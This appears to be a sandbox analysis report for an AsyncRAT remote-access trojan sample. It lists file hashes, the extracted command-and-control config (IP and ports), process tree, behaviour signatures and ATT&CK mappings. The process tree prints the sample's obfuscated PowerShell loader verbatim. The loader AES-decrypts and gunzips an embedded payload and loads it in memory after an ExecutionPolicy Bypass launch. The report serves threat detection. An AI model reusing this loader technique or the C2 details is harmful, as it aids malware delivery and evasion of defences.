asyncrat | df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b

General

Target

df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe
Size

72KB
MD5

46ffc6f638e2c668b2bb57273af66e57
SHA1

159990e321b6060146b5dd470d54db0fcf398f64
SHA256

df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b
SHA512

ce45290c07e53eb1594a166ea47302dda2dbd8448b49d308c977f8ca77ee9bd1194c2d7c990b01d780ed03476a29134126f482f2bcf0389ca16e9e3f39fb3dba
SSDEEP

768:1rfRmg7oB6ZXW7fzTyyk7zKHqSQ6OyzjbFgX3iL3SrFpIezKBzZPx:1rfRmi3yoKeBy3bCXShtPx

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

207.244.236.205:6606

207.244.236.205:7707

207.244.236.205:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1352-54-0x0000000000B30000-0x0000000000B42000-memory.dmp	asyncrat
behavioral2/memory/1352-56-0x00000000009C0000-0x00000000009E2000-memory.dmp	asyncrat

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1100 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

baekks.bat.exe

pid process

2012 baekks.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1044 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1744 timeout.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exebaekks.bat.exe

pid process

820 powershell.exe
820 powershell.exe
820 powershell.exe
2012 baekks.bat.exe

pid	process
1100	cmd.exe

pid	process
2012	baekks.bat.exe

pid	process
1044	cmd.exe

pid	process
1744	timeout.exe

pid	process
820	powershell.exe
820	powershell.exe
820	powershell.exe
2012	baekks.bat.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exepowershell.exebaekks.bat.exe

description	pid	process
Token: SeDebugPrivilege	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	2012	baekks.bat.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.execmd.execmd.exepowershell.execmd.exe

description	pid	process	target process
PID 1352 wrote to memory of 944	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 1352 wrote to memory of 944	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 1352 wrote to memory of 944	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 1352 wrote to memory of 944	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 1352 wrote to memory of 1100	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 1352 wrote to memory of 1100	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 1352 wrote to memory of 1100	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 1352 wrote to memory of 1100	1352	df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe	cmd.exe
PID 944 wrote to memory of 820	944	cmd.exe	powershell.exe
PID 944 wrote to memory of 820	944	cmd.exe	powershell.exe
PID 944 wrote to memory of 820	944	cmd.exe	powershell.exe
PID 944 wrote to memory of 820	944	cmd.exe	powershell.exe
PID 1100 wrote to memory of 1744	1100	cmd.exe	timeout.exe
PID 1100 wrote to memory of 1744	1100	cmd.exe	timeout.exe
PID 1100 wrote to memory of 1744	1100	cmd.exe	timeout.exe
PID 1100 wrote to memory of 1744	1100	cmd.exe	timeout.exe
PID 820 wrote to memory of 1044	820	powershell.exe	cmd.exe
PID 820 wrote to memory of 1044	820	powershell.exe	cmd.exe
PID 820 wrote to memory of 1044	820	powershell.exe	cmd.exe
PID 820 wrote to memory of 1044	820	powershell.exe	cmd.exe
PID 1044 wrote to memory of 2012	1044	cmd.exe	baekks.bat.exe
PID 1044 wrote to memory of 2012	1044	cmd.exe	baekks.bat.exe
PID 1044 wrote to memory of 2012	1044	cmd.exe	baekks.bat.exe
PID 1044 wrote to memory of 2012	1044	cmd.exe	baekks.bat.exe

C:\Users\Admin\AppData\Local\Temp\df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe
"C:\Users\Admin\AppData\Local\Temp\df7e668541b31a71da6bd928a67628c239d3cb3b8839d94bf8fadbb1f7be650b.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\baekks.bat"' & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\baekks.bat"'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:820

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\baekks.bat" "
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1044

C:\Users\Admin\AppData\Local\Temp\baekks.bat.exe
"baekks.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $ZwKWw = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\baekks.bat').Split([Environment]::NewLine);foreach ($NQyqS in $ZwKWw) { if ($NQyqS.StartsWith(':: ')) { $VyMyb = $NQyqS.Substring(3); break; }; };$yaCoy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VyMyb);$GQISP = New-Object System.Security.Cryptography.AesManaged;$GQISP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GQISP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GQISP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WMFW5P0/CtF+7O+f4ksWFvupDWdQ51m1nRVHHgXRWDM=');$GQISP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0850FMCP44t3FWmESpntqg==');$kaVvZ = $GQISP.CreateDecryptor();$yaCoy = $kaVvZ.TransformFinalBlock($yaCoy, 0, $yaCoy.Length);$kaVvZ.Dispose();$GQISP.Dispose();$LRoLU = New-Object System.IO.MemoryStream(, $yaCoy);$jHPxc = New-Object System.IO.MemoryStream;$VbaME = New-Object System.IO.Compression.GZipStream($LRoLU, [IO.Compression.CompressionMode]::Decompress);$VbaME.CopyTo($jHPxc);$VbaME.Dispose();$LRoLU.Dispose();$jHPxc.Dispose();$yaCoy = $jHPxc.ToArray();$eGvgY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($yaCoy);$WseJJ = $eGvgY.EntryPoint;$WseJJ.Invoke($null, (, [string[]] ('')))
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp60CF.tmp.bat""
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1744

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\baekks.bat
Filesize
41KB

MD5
cb8a78dd9edd76a68006e30cadf8eb27

SHA1
0ec5086b8e3a45b9ac64e98284ed2b66aaa88325

SHA256
c5f4b38a7e16440cb2e4cde3591109905c0817e4b9df4ac240892b81e7b1b000

SHA512
2d0928282929ae07c94bdb33e79308587f6ae3ce5dea3aabf4bde9abc01cc85cbd700ec59b42326ba98f4c957833ce6d65f32ed23b39cefab4508eb0aaea347a

Download Submit
C:\Users\Admin\AppData\Local\Temp\baekks.bat.exe
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp60CF.tmp.bat
Filesize
216B

MD5
ee65a42fddbe6895d106d29cafbeec97

SHA1
fba163fe581157b19c34a9de8eb4d3aeb7d48164

SHA256
420f4bf514dafe01854db61a07e37b3c455df8c7d99f4d4f3fb590f0d796bfd6

SHA512
ba6146be023f652a8d30547dbfb62bf35bbcd9893eea07e7b127a90c944372deb85c19178c711a9691b2f02b8800a0a01bb4bcb1b00ba0b19cb1ca33562a7aff

Download Submit
\Users\Admin\AppData\Local\Temp\baekks.bat.exe
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/820-63-0x0000000073E00000-0x00000000743AB000-memory.dmp

Filesize
5.7MB

Download
memory/820-59-0x0000000000000000-mapping.dmp

Download
memory/820-66-0x0000000073E00000-0x00000000743AB000-memory.dmp

Filesize
5.7MB

Download
memory/944-57-0x0000000000000000-mapping.dmp

Download
memory/1044-65-0x0000000000000000-mapping.dmp

Download
memory/1100-58-0x0000000000000000-mapping.dmp

Download
memory/1352-54-0x0000000000B30000-0x0000000000B42000-memory.dmp

Filesize
72KB

Download
memory/1352-56-0x00000000009C0000-0x00000000009E2000-memory.dmp

Filesize
136KB

Download
memory/1352-55-0x0000000075FE1000-0x0000000075FE3000-memory.dmp

Filesize
8KB

Download
memory/1744-62-0x0000000000000000-mapping.dmp

Download
memory/2012-68-0x0000000000000000-mapping.dmp

Download
memory/2012-71-0x00000000742A0000-0x000000007484B000-memory.dmp

Filesize
5.7MB

Download
memory/2012-72-0x00000000742A0000-0x000000007484B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads